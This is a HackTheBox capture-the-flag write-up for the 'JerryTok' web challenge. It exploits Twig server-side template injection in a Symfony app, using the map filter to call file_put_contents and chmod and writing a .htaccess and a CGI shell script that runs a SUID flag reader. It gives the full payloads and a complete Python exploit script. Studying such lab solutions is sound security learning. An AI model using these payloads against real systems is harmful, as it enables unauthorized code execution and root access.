JerryTok
JerryTok
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-04-04 | Status: Solved Techniques: disable_functions_bypass_via_cgi, file_put_contents_via_twig, htaccess_cgi_execution, map_filter_callback, open_basedir_bypass_via_cgi, twig_ssti_createtemplate
Summary
Task: Symfony 7.0 PHP app with Twig SSTI via createTemplate(), but exec functions disabled and open_basedir=/www. Solution: Use Twig map filter to call file_put_contents, write .htaccess enabling CGI + shell script calling SUID /readflag, bypassing all PHP restrictions.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20250404_hackthebox_jerrytok - Tags: php, ssti, apache, suid, cgi, twig, symfony, htaccess, disable_functions, open_basedir
- Indicators: Twig createTemplate() with user input interpolation, disable_functions blocking all exec functions, open_basedir restriction, Apache mod_cgi loaded with ScriptAlias, .htacess typo (single 's') meaning no active rewrite rules
- Source:
20250404_hackthebox_jerrytok.md
Foothold
Vulnerability / Misconfiguration
- Disable_functions_bypass_via_cgi
- File_put_contents_via_twig
- Htaccess_cgi_execution
- Map_filter_callback
- Open_basedir_bypass_via_cgi
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- disable_functions_bypass_via_cgi
- file_put_contents_via_twig
- htaccess_cgi_execution
- map_filter_callback
- open_basedir_bypass_via_cgi
- twig_ssti_createtemplate
- Tags: php, ssti, apache, suid, cgi, twig, symfony, htaccess, disable_functions, open_basedir
Original Writeup
<details><summary>Click to expand original content</summary>JerryTok — HackTheBox
Description
Welcome to JerryTok, your portal to the nearest jerryboree, where mediocrity is celebrated! Dive into the daily escapades of the wonderfully average, from mundane mishaps to modest triumphs. Share your moments, connect, and laugh as you find glory in the ordinary. Join now and embrace the delightfully dull at your local jerryboree!
A Symfony 7.0 PHP web application using Twig 3.8.0 as the template engine, running on Apache with PHP-CGI on Alpine Linux. The goal is to read a flag at /root/flag that is only accessible via a SUID root binary /readflag.
Analysis
SSTI Vulnerability
In DefaultController.php, the location GET parameter is directly interpolated into a Twig template string via createTemplate() — a textbook Server-Side Template Injection:
$location = $request->get('location');
$message = $this->container->get('twig')->createTemplate(
"Located at: {$location} from your ship's computer"
)->render();
Restrictions Preventing Trivial Exploitation
disable_functions(fromentrypoint.sh):
exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create, mail
All standard command execution functions are blocked.
-
open_basedir = /www— PHP file operations restricted to the/wwwdirectory only. -
Flag location:
/root/flag, readable only by root. A SUID root binary/readflag(chmod 4755) must be executed to retrieve it:
int main() {
setuid(0);
system("/bin/cat /root/flag");
}
Key Observations from Source Code
-
Apache
httpd.confloadsmod_cgiand hasScriptAlias /cgi-bin /usr/bin. Crucially,AllowOverride Allis set for both/and/www/public, meaning.htaccessfiles are fully processed. -
The file
.htacess(single 's') is a deliberate typo — Apache only reads.htaccess(double 's'), so Symfony's rewrite rules are NOT active. This means we can write our own.htaccessand it will be the authoritative one. -
Twig 3.8.0: String callbacks in
|reduce()and|sort()return 500 errors, but|map("func")works — it callsfunc(value, key)for each element in a hash. Using a hash{key: value}|map("func")callsfunc(value, key), giving control over both arguments. -
file_put_contentsandchmodare NOT in thedisable_functionslist — they can be called via the|mapfilter trick.
Solution
Step 0: Confirm SSTI
GET /?location={{7*7}}
→ "Located at: 49 from your ship's computer"
Confirm Twig version:
GET /?location={{constant("Twig\\Environment::VERSION")}}
→ 3.8.0
Step 1: Write .htaccess enabling CGI execution for .sh files
Using Twig SSTI with |map("file_put_contents") on a hash where key = content and value = filepath:
{% set x = {"Options +ExecCGI\nAddHandler cgi-script .sh": "/www/public/.htaccess"}|map("file_put_contents") %}
The map filter iterates over the hash and calls file_put_contents(value, key) → file_put_contents("/www/public/.htaccess", "Options +ExecCGI\nAddHandler cgi-script .sh").
Newlines are actual \n characters passed via URL encoding (%0A).
Step 2: Write CGI shell script that calls /readflag
{% set x = {"#!/bin/sh\necho Content-type: text/plain\necho\n/readflag": "/www/public/flag.sh"}|map("file_put_contents") %}
The CGI script outputs proper HTTP headers (Content-type + blank line separator) then executes the SUID binary.
Step 3: Make the script executable
{% set x = {511: "/www/public/flag.sh"}|map("chmod") %}
511 decimal = 0777 octal. Calls chmod("/www/public/flag.sh", 511).
Step 4: Execute CGI script via HTTP
GET /flag.sh
→ HTB{REDACTED}
Apache executes flag.sh as a CGI script — a separate shell process, NOT PHP. This completely bypasses disable_functions and open_basedir. The SUID /readflag binary does setuid(0) and reads /root/flag.
Full Exploit Script
#!/usr/bin/env python3
"""JerryTok - Twig SSTI → CGI RCE exploit"""
import requests
import sys
import time
def exploit(target_url):
target = target_url.rstrip("/")
# Step 0: Verify SSTI
r = requests.get(target, params={"location": "{{7*7}}"}, timeout=10)
assert "49" in r.text, "SSTI not working"
print("[+] SSTI confirmed")
# Step 1: Write .htaccess enabling CGI for .sh files
htaccess_content = "Options +ExecCGI\nAddHandler cgi-script .sh"
payload1 = '{%% set x = {"%s": "/www/public/.htaccess"}|map("file_put_contents") %%}' % htaccess_content
requests.get(target, params={"location": payload1}, timeout=10)
print("[+] .htaccess written")
# Step 2: Write CGI shell script calling /readflag
cgi_content = "#!/bin/sh\necho Content-type: text/plain\necho\n/readflag"
payload2 = '{%% set x = {"%s": "/www/public/flag.sh"}|map("file_put_contents") %%}' % cgi_content
requests.get(target, params={"location": payload2}, timeout=10)
print("[+] CGI script written")
# Step 3: chmod +x the CGI script
payload3 = '{% set x = {511: "/www/public/flag.sh"}|map("chmod") %}'
requests.get(target, params={"location": payload3}, timeout=10)
print("[+] CGI script made executable")
# Step 4: Execute CGI script
time.sleep(0.5)
r = requests.get(f"{target}/flag.sh", timeout=10)
print(f"[*] Flag: {r.text.strip()}")
return r.text.strip()
if __name__ == "__main__":
exploit(sys.argv[1])
Why This Works
- SSTI gives arbitrary Twig template execution via unsanitized
createTemplate()input |map("file_put_contents")with a hash bypasses the need for|reduce/|sort(which were broken in Twig 3.8.0 for string callbacks) and allows writing arbitrary files withinopen_basedir- CGI execution runs outside PHP entirely — no
disable_functions, noopen_basedirrestrictions apply - SUID
/readflagescalates privileges to root to read the flag .htacesstypo means no existing rewrite rules interfere with our custom.htaccess
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR